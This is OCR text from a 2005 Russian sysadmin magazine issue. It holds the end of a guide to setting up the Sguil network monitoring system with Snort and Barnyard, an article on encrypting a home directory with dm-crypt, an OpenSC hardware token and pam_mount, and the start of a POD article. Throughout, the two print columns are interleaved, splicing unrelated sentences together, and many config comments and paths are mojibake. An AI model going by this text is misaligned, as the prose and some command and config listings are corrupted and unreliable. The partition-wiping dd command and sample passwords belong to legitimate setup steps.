stunnel. Перед установкой ознакомьтесь с составом паке- Но сервер sguild при первом своем запуске при отсутствии
тов, входящих в ваш дистрибутив, скорее всего, большая необходимой базы данных сам попробует ее создать.
часть из необходимого уже имеется. Все компоненты сис- После всего команда:
темы можно установить как на одном компьютере, так и
развернуть систему наблюдения за сетью на нескольких # mysql -u root -p -e "show tables"
машинах.
должна дать следующий вывод.
+-------------------+
| Tables_in_sguildb |
+-------------------+
| data |
| event |
| history |
| icmphdr |
| portscan |
| sensor |
| sessions |
| status |
| tcphdr |
| udphdr |
| user_info |
| version |
+-------------------+

Установка сервера sguild


Для удобства лучше поместить все конфигурационные
файлы сервера в отдельный каталог, например /etc/sguild.
Поэтому создаем его и переносим туда файлы sguild.users,
sguild.conf, sguild.queries, sguild.access, autocat.conf, кото-
рые находятся в архиве приложения в подкаталоге server.
Создание базы данных Далее проверяем наличие необходимых компонентов.
для хранения информации
На всех компонентах sguil в целях безопасности рекомен- # tclsh
дуется использовать отдельного непривилегированного % package require Tclx
can't find package Tclx
пользователя, поэтому вначале создаем его.
Устанавливаем Tclx, в результате вывод будет такой.
# groupadd sguil
# useradd -g sguil -s /bin/false -c "Sguil NSM" sguil % package require Tclx
8.3
В качестве сервера базы данных на данный момент ис- tclsh>exit
пользуется только MySQL, установке которого посвящено Затем необходимо зарегистрировать пользователя, от
много статей, плюс в документации sguil этот процесс опи- имени которого мы будем работать с сервером.
сан подробно, поэтому сейчас он рассматриваться не бу-
дет. При установке сервера при помощи rpm-пакетов неко- # ./sguild -adduser sguil
торые шаги будут выполнены автоматически, вам останет- ERROR: The mysqltcl extension does NOT appear to be installedon this sysem.
ся только проконтролировать результат. Download it at http://www.xdobry.de/mysqltcl/
SGUILD: Exiting...
Запускаем MySQL, устанавливаем пароль для root, ко-
торый во многих дистрибутивах оставлен пустым, и даем Не получилось, система сообщает, что не установлен
необходимые привилегии пользователю sguil, от имени ко- mysqltcl.
торого и будем в дальнейшем работать с базой данных. Исправляемся.

# /etc/init.d/mysqld start # ./sguild -adduser sguil

66
безопасность
ERROR: The sha1 package does NOT appear to be installed on this system. необходимых компонентов он будет работать без проблем.
The sha1 package is part of the tcllib extension. A port/package is available
for most linux and BSD systems. В Windows его можно запустить при помощи библиотеки
SGUILD: Exiting... ActiveState (http://www.activestate.com/Products/ActiveTcl), в
Опять. На этот раз нет sha1, являющегося частью биб- документе «Getting SGUIL to work with Windows» подробно
лиотеки tcllib. описан этот процесс. Во время своей работы скрипт считы-
вает файл sguil.conf, который по умолчанию должен лежать
# ./sguild -adduser sguil либо в домашнем каталоге пользователя, либо в каталоге,
Please enter a passwd for sguil: в котором находится скрипт. Иначе требуется указать его
Retype passwd: местонахождение явно.
User 'sguil' added successfully
SGUILD: Exiting...
# ./sguil.tk -- -c /etc/sguil/sguil.conf
Теперь все нормально, а в файле /etc/sguild/sguild.users
должна появиться следующая запись. Параметры, которые можно задать при помощи этого
файла, понятны и где необходимо снабжены комментария-
# cat /etc/sguild/sguild.users ми. Некоторые из них можно изменить и после запуска. Сре-
sguil(.)(.)MU47f7efd575à04e2da381e2781b8f95bef4a0083c
ди них имя сервера и порт, включение поддержки OpenSSL,
По умолчанию файл /etc/sguild/sguild.access позволяет путь к программам, вывод времени, цвет, используемый при
подсоединяться к серверу любому клиенту и датчику. Для отображении тех или иных событий, почтовый адрес и со-
безопасности желательно указать конкретные адреса. общение, которое будет отослано при обнаружении крити-
Например: ческих происшествий. Для тестирования можно подклю-
читься к серверу demo.sguil.net порт 7734, введя любого
sensor 192.168.0.20 пользователя и пароль, и выбрав датчик «reset».
client 127.0.0.1

Копируем исполняемый файл сервера sguild и библио- Установка датчика


теки, после чего запускаем. Это самая сложная часть настроек, требующая вниматель-
ности, так как скрипты выводят мало отладочной инфор-
# ñð /home/source/sguil-0.5.3/server/sguild /usr/bin мации и ошибку отследить довольно тяжело. Для удобства
# ñð -R /home/source/sguil-0.5.3/server/lib /etc/sguil
# sguild все сенсоры, работающие на одном компьютере, исполь-
Loading access list: /etc/sguild/sguild.access зуют свой персональный каталог, в который они будут за-
Adding sensor to access list: 192.168.0.20 писывать информацию – $LOG_DIR/$SENSOR_NAME. Раз-
Adding client to access list: 127.0.0.1
: Done
работчики рекомендуют создать для этих целей на жест-
Loader Forked ком диске отдельный раздел, смонтировать его в каталог
Queryd Forked /nsm и создать в нем подкаталоги, в которые будет записы-
Error: mysqluse/db server: Unknown database 'sguildb'
The database sguildb does not exist. Create it ([y]/n)?: ваться информация, поступающая от датчиков. Такой под-
Path to create_sguildb.sql [./sql_scripts/create_sguildb.sql]: ход позволит избежать переполнения основного раздела в
Creating the DB sguildb...Okay.
Creating the structure for sguildb:
случае, если информации будет много. Я для этих целей
.......................................... использую каталог /var/snort_data. В подкаталоге sensor/
Querying DB for archived events... snort_mods находятся два патча для препроцессоров Snort.
..........................................
Retrieving DB info... Для работы sguil они не обязательны, но увеличивают ко-
Sguild Initialized.No clients to send info msg to. личество собранной информации и упрощают ее запись в
====== Sensor Agent Status ======
базу данных. Для работы потребуются исходники Snort. На
Все. Сервер работает и ждет подключения сенсоров, а момент написания статьи в архиве sguil были патчи для snort
в процессе первого запуска была создана база данных. В 2.1, я использовал последний «слепок» (CVS snapshot), про-
rpm-пакетах и в подкаталоге pkgbuild/rpm имеется скрипт блем с установкой и использованием не было. Но если у
sguild.init, который обеспечит запуск sguild при старте сис- вас что-то пойдет не так, возьмите соответствующую вер-
темы. Во время работы sguild использует конфигурацион- сию snort и соберите датчик с ней. Далее заходим в подка-
ный файл sguild.conf, простой и к тому же хорошо коммен- талог src/preprocessors и устанавливаем патчи.
тированный. В нем придется подправить значения некото-
рых параметров, в первую очередь значение переменной # cd src/preprocessors
# cp spp_portscan.c spp_portscan.c.bak
SGUILD_LIB_PATH /etc/sguil/lib, так как по умолчанию она # cp spp_stream4.c spp_stream4.c.bak
указывает на текущий каталог. Также проверьте путь к ути- # cp <sguil-src>/sensors/snort_mods/2_1/ ↵
spp_portscan_sguil.patch
литам (p0f, tcpflow), параметры работы с базой данных, но- # cp <sguil-src>/sensors/snort_mods/2_1/spp_stream4.patch
мера портов, на которых sguil будет ожидать подключения # patch spp_portscan.c < spp_portscan_sguil.patch
# patch spp_stream4.c < spp_stream4_sguil.patch
сенсоров и клиентов, каталог для хранения журналов, мес-
тонахождение правил snort и пр. После чего устанавливаем Snort как обычно (см. ста-
тью Павла Заклякова [6]), не включая во время конфигури-
Настройка GUI-клиента sguil.tk рования поддержку mysql, о взаимодействии с которой те-
Это самая простая часть настройки. Клиент sguil.tk, пред- перь позаботится barnyard. Теперь в файле snort.conf опи-
ставляет собой готовый скрипт на tcl/tk и при наличии всех сываем параметры работы обновленных препроцессоров.

№3, март 2005 67


безопасность
Формат записи для portscan: SNORT_PATH, LOG_DIR, GREP, PS, PIDFILE, INTERFACE,
выставив их в соответствии с вашей системой. При помо-
preprocessor portscan: $HOME_NET <ports> <secs> ↵ щи MAX_DISK_USE можно указать процент заполнения
<logdir> <sensorname>
диска данными по достижении которого начнется удаление
В нашем случае он будет таким: старой информации, а переменная FILTER позволяет бо-
лее точно указать скрипту на то, какие данные интересуют
preprocessor portscan: $HOME_NET 4 3 ↵ исследователя, так как сценарий по умолчанию забирает
/var/snort_data/gateway/portscans syn
всю информацию.
Запись для stream4: И наконец, установка Barnyard. Чтобы не накладывать
патчи, необходимые для работы со sguil (они имеются в ар-
preprocessor stream4: detect_scans, disable_evasion_alerts, ↵ хиве), рекомендуется использовать версию 0.2.0. Конфигу-
keepstats db /var/snort_data/ gateway/ssn_logs
рирование производится с параметрами ./configure --enable-
И в разделе «Snort unified binary format alerting and logging» mysql, после чего Barnyard компилируется и устанавлива-
раскомментируем следующую строку: ется обычным образом. Далее правим конфигурационный
файл barnyard.conf, раскомментируем строку в конце фай-
output log_unified: filename snort.log, limit 128 ла и указываем в ней на параметры подключения к базе
данных и место сбора информации сенсорами.
Для нормальной работы сенсоров необходимо, чтобы
каталоги /var/snort_data/ gateway/portscans и /var/snort_data/ # sguil
#----
gateway/ssn_logs существовали и права доступа позволя- # This output plug-in is used to generate output for use
ли пользователю sguil записать в них информацию. Иначе # with the SGUIL user interface. To learn more about
# SGUIL, go to http://sguil.sourceforge.net
будет получено такое сообщение: #
output sguil: mysql, sensor_id 0, database sguildb, ↵
ERROR: spp_portscan: /var/snort_data/gateway/portscans is not server syn, user sguil,password sguilpasswd, ↵
a directory or is not writable sguild_host syn, sguild_port 7736
Fatal Error, Quitting..
Перед запуском их необходимо создать вручную. Теперь запускаем.

# mkdir /var/snort_data/gateway/portscans # /usr/sbin/barnyard -c /etc/snort/barnyard.conf ↵


# mkdir /var/snort_data/gateway/ssn_logs -d /var/snort_data/ -g /etc/snort/gen-msg.map ↵
# chown -R sguil /var/snort_data -s /etc/snort/sid-msg.map -f snort.log ↵
# chgrp -R sguil /var/snort_data -w /etc/snort/waldo.file
Barnyard Version 0.2.0 (Build 32)
Opened spool file '/var/snort_data/gateway /snort.log.1109764386'
Запускаем Snort: Closing spool file '/var/snort_data/gateway /snort.log.1109764386'.
Read 0 records
# snort -u sguil -g sguil -l /var/snort_data/ ↵ Opened spool file '/var/snort_data/gateway /snort.log.1109794324'
-c /etc/snort/snort.conf -U -A none -m 501 -i eth0 Waiting for new data
Running in IDS mode
Log directory = /var/snort_data/ Правим конфигурационный файл sensor_agent.conf и
запускаем сам скрипт sensor_agent.tcl, лежащий в подка-
Initializing Network Interface eth0
талоге sensor, который обеспечивает передачу данных на
--== Initializing Snort ==-- сервер.
Initializing Output Plugins!
Decoding Ethernet on interface eth0 # ./sensor_agent.tcl
Initializing Preprocessors!
Initializing Plug-ins! Connected to 192.168.0.20
Parsing Rules file /etc/snort/snort.conf Checking for PS files in /var/snort_data/gateway/portscans.
Checking for Session files in /var/snort_data/gateway/ssn_logs.
И так далее, заодно наблюдаем, как запускаются скон- Checking for sancp stats files in /var/snort_data/gateway/sancp.
фигурированые нами препроцессоры. Sending sguild (sock3) DiskReport /var/snort_data/gateway 15%
Но это еще не все. Для захвата двоичных данных ис- Sending sguild (sock3) PING
Sensor Data Rcvd: PONG
пользуется скрипт log_packets.sh, который можно найти в
PONG recieved
подкаталоге sensor архива sguil. Необходимо обеспечить
его запуск/перезапуск при помощи cron. Теперь, запустив на сервере демон sguild, мы должны
наблюдать подключение нового сенсора.
# cp <sguil-src>/sensor/log_packets.sh /usr/bin/
====== Sensor Agent Status ======
No clients to send info msg to.
И в файл, используемый crontab, внести следующие стро- ====== Sensor Agent Status ======
ки для перезапуска каждый час. Connect from 192.168.0.20:32797 sock14
Validating sensor access: 192.168.0.20 :
ALLOWED
00 0-23/1 * * * /usr/bin/log_packets.sh restart
Sensor Data Rcvd: CONNECT gateway
No clients to send info msg to.
Sensor Data Rcvd: DiskReport /var/snort_data/gateway 15%
Кроме того, необходимо обязательно заглянуть внутрь No clients to send info msg to.
файла и подправить значения переменных HOSTNAME, Sensor Data Rcvd: PING

68
безопасность
Для автоматического запуска sensor_agent.tcl при стар- более подробная информация о предупреждении. При по-
те системы используйте скрипт init/sensoragent. мощи меню Query можно создавать запросы для отбора
Все. Теперь можно подключаться к серверу при помощи определенной информации, которые будут сохранены в
клиента sguil.tk и приступать к анализу собранной информа- файле /etc/sguil/sguild.queries. Для удобства предлагаются
ции. Как видно из рисунка, окно клиента sguil по умолчанию мастера и уже подготовленные запросы. Пункт Reports по-
состоит из двух вкладок RealTime Events и Escalated Events, зволяет генерировать отчеты.
в которых в реальном времени выводится информация, со- Sguil является довольно серьезным орудием в руках спе-
бранная snort. Верхняя половина также разделена на три циалиста, которого беспокоит безопасность сетей. Но, как
части, в которых выводятся события по степеням важности, любой другой инструмент, он требует приобретения практи-
более серьезные в верхнем окне, менее серьезные в ниж- ческих навыков работы. Освоив основные приемы, можно
нем. Если это неудобно, то можно изменить количество па- быстро находить и локализовать проблемные участки.
нелей при помощи переменных RTPANES, RTPANE_
PRIORITY и RTCOLOR_PRIORITY в файле sguil.conf. Допол- Ссылки:
нительно можно отобрать все события, подпадающие под 1. Домашняя страница проекта sguil – http://sguil.source-
определенную категорию, в отдельную вкладку, восполь- forge.net.
зовавшись пунктом меню File. При этом если на скрытой 2. Richard Bejtlich «What Is Network Security Monitoring?»:
вкладке появится событие, заслуживающее внимания, то http://www.awprofessional.com/title/0321246772.
заголовок изменит свой цвет. Параметр ST показывает на 3. Richard Bejtlich «Why Sguil Is the Best Option for Network
статус предупреждения (RT – real time), CNT представляет Security Monitoring Data»: http://www.informit.com/articles/
собой счетчик событий со сходными характеристиками. article.asp?p=350390&seqNum=1.
Нижняя половина также разделена на две части. Слева вы- 4. Michael Boman «Network Security Analysis with SGUIL»:
водится информация, собранная при помощи обратного http://www.boseco.com/presentations/sguil-2004-1/img0.html.
DNS-запроса и сервиса whois, внизу можно просмотреть, в 5. Яремчук С. Тени исчезают в полдень. – журнал «Сис-
зависимости от выбранной вкладки, системные и пользо- темный администратор», №12, 2004 г.
вательские сообщения. Последние представляют собой про- 6. Закляков П. Обнаружение телекоммуникационных атак:
стейший чат между пользователями, зарегистрировавши- теория и практика, snort. – журнал «Системный адми-
мися на одном сервере. В правом нижнем окне выводится нистратор», №10, 2003 г.

№3, март 2005 69


безопасность

ШИФРОВАНИЕ ДАННЫХ
В LINUX – НОВЫЙ ВЗГЛЯД
НА АППАРАТНЫЕ КЛЮЧИ

АЛЕКСАНДР ПОХАБОВ
«Кто владеет информацией, тот владеет миром» – всем из- утерянных носителях данные не попадут в руки заинтере-
вестное изречение Уинстона Черчилля. Вот и мы, впустив сованных в них лиц? А ведь подавляющее большинство ин-
в свой дом компьютеры, доверяем им хранение части на- формации хранится на жестких дисках, CD, DVD и т. д. в
шего внутреннего мира, который не должен предстать пе- «чистом» виде, и ничто не стеснит злоумышленника в его
ред кем-либо, кроме самих владельцев. Что хранят милли- действиях.
оны жестких дисков по всему свету? От дружеской email- В Интернете, да и в печатных изданиях широко осве-
переписки и домашних фотоальбомов до закрытой от по- щены решения по шифрованию конфиденциальной инфор-
сторонних глаз информации, имеющей статус государствен- мации с использованием пары ключей. Следуя авторам
ной и коммерческой тайны. Но кроме «винчестеров» име- большинства таких статей, пользователи размещают клю-
ются и другие носители, количеством и объемом хранимых чи на все тех же простых носителях, таких как FLASH-нако-
данных превосходящие своих братьев, находящихся внут- пители и флоппи-диски (последние к тому же имеют свой-
ри корпусов современных ПК. Не стоит также недооцени- ство отказывать в самый неподходящий момент). И тут уже
вать значимость той же переписки, ведь статью 23 п.2 Кон- подбор верного passphrase к легкодоступным ключам – дело
ституции РФ еще никто не отменял. техники.
Но, к сожалению, преступный мир не чтит государствен- Нашей задачей будет если не предотвратить возможность
ных законов. Огромное количество персональных компью- восстановления злоумышленником данных из зашифрован-
теров похищается прямо из дома, ноутбуки «забываются» ного раздела полностью, то на порядки усложнить его рабо-
командированными сотрудниками, которые также часто ста- ту. В этом нам поможет аппаратный ключ, хранящий серти-
новятся жертвами грабежа, мобильные носители могут быть фикаты и ключи в своей защищенной энергонезависимой
просто потеряны по пути из точки А в точку Б. Как можно в EEPROM-памяти. Его «прошивка» описана в статье «Же-
таких случаях быть уверенным в том, что находящиеся на лезный login: ломаем зубы грубой силе», №12, 2004 г.).

70
безопасность
Поскольку я имею дело с домашней рабочей станцией # emerge unmerge opensc
под управлением Gentoo Linux, а не с промышленным сер-
вером, то позволил себе использовать dm-crypt вместо crypto- Установка opensc из CVS:
loop (подразумевает ядро начиная с версии 2.6.4). Я дове-
рился мэйнтейнеру cryptoapi Fruhwirth Clemens, выражав- # cvs -d :pserver:cvs@cvs.opensc.org:/cvsroot login
шему свои доводы в пользу dm-crypt в LKML, что и вам со-
ветую. Примечание: вместо ввода пароля нажмите <Enter>.
Впервые поддержка dm-crypt появилась в ядре 2.6.4, но
несмотря на четный минор, в широком кругу Linux-сообще- # cvs -z3 -d :pserver:cvs@cvs.opensc.org:/cvsroot co opensc
# cd opensc
ства считается авантюрой перевод работающих серверов # ./bootstrap
на новую ветвь ядра. В 2.4.-ядрах Device Mapper Support # ./configure --prefix=/usr --exec-prefix=/usr ↵
--with-pam-dir=/ïóòü_ê/libpam --with-pam ↵
недоступен. Из преимуществ dm-crypt перед cryptoloop бег- --with-openct=/ïóòü_ê/libopenct ↵
ло можно назвать независимость от инструментов про- --with-openssl=/ïóòü_ê/openssl
странства пользователя (linux-util), использование mempool,
и отсутствие необходимости в правке /etc/fstab . Более под- Проверьте вывод ./configure в STDOUT, необходимые оп-
робную информацию вы можете найти на сайте проекта: ции, такие как OpenSSL support, OpenCT support и PAM
http://www.saout.de/misc/dm-crypt. support должны быть включены (отмечены как «yes»).
Принцип действия таков: мы поместим зашифрованный
публичный ключ в начало защищаемого раздела, при вхо- # make
# make install
де в систему определенного пользователя (обладающего
аппаратным ключом и знающим PIN), зашифрованный ключ Если при конфигурировании ядра вы не включили в ядро
будет прочитан во временный файл, расшифрован pkcs15- dm-crypt (Multi-device support (RAID and LVM) → Device
crypt и передан в качестве параметра cryptsetup для опре- Mapper Support и Crypt Target Support) статически, то под-
деления зашифрованного раздела (во избежание удаления грузите модуль:
ключа из начала раздела cryptsetup вызывается с парамет-
ром --offset=SECTORS), после чего содержащий копию клю- # modprobe dm_crypt
ча временный файл будет удален. Далее мы отформатиру-
ем новый раздел (для первого использования), смонтиру- Создайте любым удобным для вас способом резервную
ем его и перенесем в него копию домашнего каталога копию пользовательского домашнего каталога. У меня он
пользователя. автоматически архивируется по расписанию и практичес-
Все это, за исключением форматирования и переноса ки ничего, кроме ~/.bash_history, в нем не изменяется. Ре-
из резервной копии содержимого $HOME, будет делаться зервная копия понадобится нам для переноса всего ее со-
автоматически с помощью pam_mount в момент регистра- держимого во вновь созданный и смонтированный в при-
ции целевого пользователя в системе. вычный пользовательский $HOME (прописанный в /etc/
Убедитесь, что в ядре присутствует все необходимое для passwd) защищенный раздел, проще говоря – для мигра-
дальнейшей работы. Ниже приведена выдержка из моего ции. По моему личному мнению резервирование домаш-
/usr/src/linux/.config: них каталогов – просто хороший тон.
Специально для простоты и удобства я создал в корне
CONFIG_BLK_DEV_DM=y директорию /crypt и работал в ней.
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
CONFIG_DM_MIRROR=m # mkdir /crypt
CONFIG_BLK_DEV_LOOP=y # cd /crypt
CONFIG_BLK_DEV_CRYPTOLOOP=y # chmod 700 /crypt
CONFIG_CRYPTO_AES_586=y # chown chiko:root /crypt

Также проверьте, установлены ли: где chiko – пользовательский login.


Далее читаем публичный ключ с прошитого аппаратно-
sys-fs/cryptsetup го и шифруем его перед помещением в создаваемый раз-
dev-libs/openssl
dev-libs/openct дел:
sys-fs/device-mapper
# pkcs15-tool --read-public-key 45 > mykey.pub
# dd if=/dev/random of=/crypt/key.plain bs=1 count=96
Как бы то ни было, установленный не из CVS-репозито-
96+0 records in
рия opensc придется удалить, так как только в CVS-версии 96+0 records out
pkcs15-crypt имеется опция --raw, используемая мною в дан- # openssl rsautl -encrypt -pubin -inkey mykey.pub ↵
ном примере. В стабильных версиях вывод pkcs15-crypt не -in /crypt/key.plain -pkcs -out /crypt/key
будет распознан как параметр cryptsetup. Данная опция # rm /crypt/key.plain
# rm /crypt/mykey.pub
была добавлена 21 августа 2004 года и не была включена
в релиз стабильной версии OpenSC 0.9.4, вышедший поз- Вывод pkcs15-crypt в STDOUT не радует глаз, зато те-
же – 31 октября 2004. Будет ли она в следующем релизе, я перь известно, что ключ расшифрован и может быть пере-
сказать не могу. дан в качестве параметра:

№3, март 2005 71


безопасность
# pkcs15-crypt --raw --pkcs1 --decipher -k 45 -i /crypt/key Перенесем из резервной копии содержимое домашне-
го каталога пользователя chiko и сделаем его владельцем
Enter PIN [CHIKOPIN]:
командой:
Можно убедиться в преимуществе CVS-версии opensc,
вызвав pkcs15-crypt без опции --raw. # chown –R chiko:root /home/chiko
В своем примере я защищаю домашнюю директорию,
находящуюся на USB-Flash накопителе (/dev/sda1) объе- В моей системе пользователь chiko не является членом
мом ~244 Мб, вы же можете использовать любой раздел группы root, в нее входит лишь одноименный пользователь.
диска. Не поленитесь проверить размер вашего домашне- Приходилось видеть права доступа rwxr-x-- на домашних
го каталога – он не должен превышать вместимости раз- каталогах пользователей, входящих в группу, насчитываю-
дела. щую несколько представителей. Права на чтение и про-
смотр каталога были выставлены именно на ту самую груп-
# dd if=/dev/urandom of=/dev/sda1 bs=1M count=240 пу, соответственно, в ~/.bash_history пользователя vasya
245+0 records in встречалось что-то вроде cp -R /home/nikolay ~/kolya_lamer.
244+0 records out
Проследите за тем, чтобы никто не мог перейти ваш $HOME,
Размещаем в начале раздела ключ : если же необходимо впустить кого-нибудь, не стоит рекур-
сивно отдавать все и всем.
# dd conv=notrunc if=/dev/zero of=/dev/sda1 bs=1024 count=1024 Не забывайте, что ~/.eid/authorized_certificates должен
1024+0 records in быть доступен для чтения и в неподключенном в точку /home/
1024+0 records out
chiko (пользовательский $HOME, указанный в /etc/passwd)
# dd conv=notrunc if=/crypt/key of=/dev/sda1 bs=1 новом разделе и в смонтированном. Последнее уже выпол-
128+0 records in нено при восстановлении из резерва всей копии домашне-
128+0 records out
го каталога.
Проверим, читается ли он безошибочно из рассматри-
ваемого раздела, для этого сравним выводы md5sum до # umount /home/chiko
копирования ключа обратно в /crypt :
Резервная копия домашнего каталога имеется, после
# md5sum /crypt/key успешного монтирования зашифрованного раздела може-
8fc7975ed38f56cabe507a93baaa177a /crypt/key те распорядиться им по своему усмотрению. Я оставил в
# rm /crypt/key несмонтированной точке /home/chiko лишь /.eid/authorized_
certificates, а все остальное просто удалил.
и после:
# cryptsetup remove mynewhome
# dd if=/dev/sda1 bs=1 count=128 of=/crypt/key # rm /crypt/key

128+0 records in Устанавливаем pam_mount. Для большинства дистри-


128+0 records out бутивов эта задача тривиальна.
# md5sum /crypt/key Для пользователей Gentoo Linux имеется ebuild, скачать
8fc7975ed38f56cabe507a93baaa177a /crypt/key
можно здесь: http://bugs.gentoo.org/attachment.cgi?id=51530&
action=view.
Отлично, записанный в начало раздела ключ читается Установка с помощью ebuild в Gentoo считается идеоло-
безошибочно. Готовим раздел к переносу пользовательс- гически верной, но при желании можно взять исходники pam_
ких данных из резервной копии: mount на домашней странице: http://www.flyn.org/projects/
pam_mount и установить вручную. Когда он будет включен в
# pkcs15-crypt --raw --pkcs1 --decipher -k 45 ↵ portage-tree и будет ли вообще включен, мне, к сожалению,
-i /crypt/key | cryptsetup --hash=plain ↵
--cipher=aes --key-size=256 ↵ неизвестно.
--offset=2048 create mynewhome /dev/sda1 После установки pam_mount необходимо отредактиро-
Enter PIN [CHIKOPIN]: вать два файла: конфигурационный /etc/security/pam_
mount.conf и скрипт /sbin/mount.crypt.
На данном шаге форматируется новый раздел. Я пред- Лично я потратил много времени на редактирование и
почел ext2fs, но никому не навязываю своего решения: доводку скрипта /sbin/mount.crypt, установленного с помощью
вышеназванного ebuild, но раздел не монтировался. На по-
# mkfs.ext2 /dev/mapper/mynewhome мощь пришел mount.crypt от дистрибутива Debian, который
можно взять здесь: http://bugs.gentoo.org/attachment.cgi?
Забавно наблюдать за пользователями Windows, пыта- id=49305.
ющимися посмотреть содержимое FLASH-накопителя и Скачайте и замените им имеющийся /sbin/mount.crypt.
предложение отформатировать его. Поскольку я не могу рассмотреть данный скрипт в каждом
Смонтируем: отличном от Gentoo дистрибутиве, рекомендую загрузить его
всем и как минимум проверить с помощью diff различия от
# mount /dev/mapper/mynewhome /home/chiko поставляемого с вашей системой с предлагаемым мной.

72
безопасность
Приступим к конфигурированию. Ниже привожу листин- комендуется запретить пользователям просматривать спи-
ги /etc/security/pam_mount.conf и /sbin/mount.crypt. сок чужих процессов с помощью grsecurity (см. одноимен-
ную статью Кирилла Тихонова в журнале №9, 2004 г.).
#cat /etc/security/pam_mount.conf Остается подправить /etc/pam.d/login :
debug 0
# Ïðè âîçíèêíîâåíèè îøèáîê áóäåò ïîëåçíî èìåòü âûâîä: debug 1
options_allow nosuid,nodev,loop,encryption # cat /etc/pam.d/login
# Çäåñü è ñòðîêîé íèæå ïî æåëàíèþ #%PAM-1.0
options_require nosuid,nodev
lsof /usr/sbin/lsof %(MNTPT) auth optional pam_mount.so
fsck /bin/true auth required ↵
# Äëÿ FLASH-íàêîïèòåëÿ ñ ext2fs íå ñ÷åë íóæíûì ïðîâåðÿòü fsck.ext2 /usr/local/lib/security/pam_opensc.so use_first_pass
losetup /bin/true [ïñ] session optional pam_mount.so use_first_pass
unlosetup /bin/true [ïñ] account required ↵
cifsmount /bin/mount -t cifs //%(SERVER)/%(VOLUME) %(MNTPT) ↵ /lib/security/pam_stack.so service=system-auth
-o "username=%(USER)%(before=\",\" OPTIONS)" session required ↵
smbmount /bin/mount -t smbfs //%(SERVER)/%(VOLUME) %(MNTPT) ↵ /lib/security/pam_stack.so service=system-auth
-o "username=%(USER)%(before=\",\" OPTIONS)"
ncpmount /bin/mount -t ncpfs %(SERVER)/%(USER) %(MNTPT) ↵ Пробуем зарегистрироваться как chiko. Если вы верно
-o "pass-fd=0,volume=%(VOLUME)%(before=\",\" OPTIONS)"
umount /bin/umount %(MNTPT) следовали моему описанию, то должны увидеть что-то на-
lclmount /sbin/mount.crypt %(VOLUME) %(MNTPT) -o %(OPTIONS) подобие этого (при выставленном в /etc/security/pam_
# Íå çàáóäüòå çàìåíèòü /sbin/mount.crypt ñêðèïòîì èç Debian
cryptmount /sbin/mount.crypt %(VOLUME) %(MNTPT) ↵ mount.conf значении debug 1):
-o %(OPTIONS)
nfsmount /bin/mount %(SERVER):%(VOLUME) ↵ pam_mount: reading options_allow...
"%(MNTPT)%(before=\"-o \" OPTIONS)" pam_mount: reading options_require...
pmvarrun /usr/sbin/pmvarrun -u %(USER) -d -o %(OPERATION)
# Ñòðîêà, îïèñûâàþùàÿ èìÿ ïîëüçîâàòåëÿ, ðàçäåë, òî÷êó pam_mount: back from global readconfig
pam_mount: per-user configurations not allowed ↵
# è îïöèè ìîíòèðîâàíèÿ by pam_mount.conf
volume chiko crypt - /dev/sda1 /home/chiko loop,cipher=aes - -
pam_mount: real and effective user ID are 0 and 0.
pam_mount: checking sanity of volume record (/dev/sda1)
pam_mount: about to perform mount operations
Весь листинг /sbin/mount.crypt слишком велик, чтобы при- pam_mount: information for mount:
вести его на страницах печатного издания, поэтому добав- pam_mount: --------
pam_mount: (defined by globalconf)
ленные в него блоки буду выделять красным: pam_mount: user: chiko
pam_mount: server:
#  ñàìîì íà÷àëå äîáàâüòå ñòðîêó read PIN pam_mount: volume: /dev/sda1
LOSETUP=/sbin/losetup pam_mount: mountpoint: /home/chiko
pam_mount: options: loop,cipher=aes
CRYPTSETUP=/bin/cryptsetup pam_mount: fs_key_cipher:
MOUNT=/bin/mount
OPTIONS="" pam_mount: fs_key_path:
pam_mount: use_fstab:
read PIN # Òàêèì îáðàçîì ïåðåäàåì PIN â pkcs15-crypt pam_mount: --------
USAGE="dev dir [-o options]
# Íàéäèòå è çàêîììåíòèðóéòå, êàê â ïðèìåðå, pam_mount: checking to see if /dev/mapper/_dev_sda1 ↵
is already mounted at /home/chiko
# ÷åòûðå ñëåäóþùèå ñòðîêè: pam_mount: checking for encrypted filesystem key ↵
#HASHOPT="ripemd160"
#if [ -n "$HASH" ]; then configuration
pam_mount: about to start building mount command
# HASHOPT="$HASH" pam_mount: command: /crypt/mount.crypt ↵
#fi
# Âìåñòî íèõ ïîäñòàâüòå ñâîè: /dev/sda1 /home/chiko -o loop,cipher=aes /home/chiko
pam_mount: mount errors (should be empty):
HASHOPT="" pam_mount: 128+0 records in
if [ ! -z "$HASH" ]; then
HASHOPT="-h $HASH" pam_mount: 128+0 records out
pam_mount: waiting for mount
fi pam_mount: clean system authtok (0)
KEYSIZEOPT="256" pam_mount: command: /usr/sbin/pmvarrun -u chiko -d -o 1
pam_mount: pmvarrun says login count is 1
if [ -n "$KEYSIZE" ]; then pam_mount: done opening session
KEYSIZEOPT="$KEYSIZE"
fi
# Ñðàçó æå ïîñëå KEYSIZEOPT-ñåêöèè äîáàâëÿåì Вот и долгожданное приглашение! Проверьте наличие
# òðè íîâûõ ñòðîêè: в новой домашней директории своих перенесенных из ре-
dd if=/dev/sda1 bs=1 count=128 of=/crypt/key
/usr/local/bin/pkcs15-crypt --raw -p $PIN --pkcs1 ↵ зервной копии данных и вывод команды mount.
--decipher -k 45 -i /crypt/key | $CRYPTSETUP ↵
--cipher=aes --hash=plain --key-size=256 ↵ # mount | grep mapper
--offset=2048 create $DMDEVICE $DEVICE
rm /crypt/key
/dev/mapper/_dev_sda1 on /home/chiko type ext2 (rw)
# Ñëåäóþùóþ ñòðîêó èç îðèãèíàëà çàêîììåíòèðóåì,
# òàê êàê âûøå èñïîëüçóåì ñîáñòâåííûé àíàëîã: Как успел заметить опытный читатель, пользуясь опи-
#$CRYPTSETUP -c $CIPHEROPT -h $HASHOPT ↵
-s $KEYSIZEOPT create $DMDEVICE $DEVICE санным способом, можно шифровать не только пользова-
тельские домашние каталоги.
Пример скрипта /sbin/mount.crypt можно скачать на сайте Со страниц журнала желаю вам удачи, и пусть ваши кон-
журнала http://samag.ru в разделе «Исходный код». В боль- ституционные права остаются незыблемыми.
шинстве случаев придется изменить только /dev/sda1 и путь
к директории хранения временного файла на необходимые Ссылки:
вам значения. 1. http://www.flyn.org/projects/pam_mount.
Есть риск, что во время выполнения другими пользова- 2. http://www.saout.de/misc/dm-crypt.
телями ps в ее вывод может попасть наш PIN, поэтому ре- 3. http://opensc.org.

№3, март 2005 73


программирование

СИСТЕМА СОЗДАНИЯ ДОКУМЕНТАЦИИ POD


ЧАСТЬ 1

АЛЕКСЕЙ МИЧУРИН
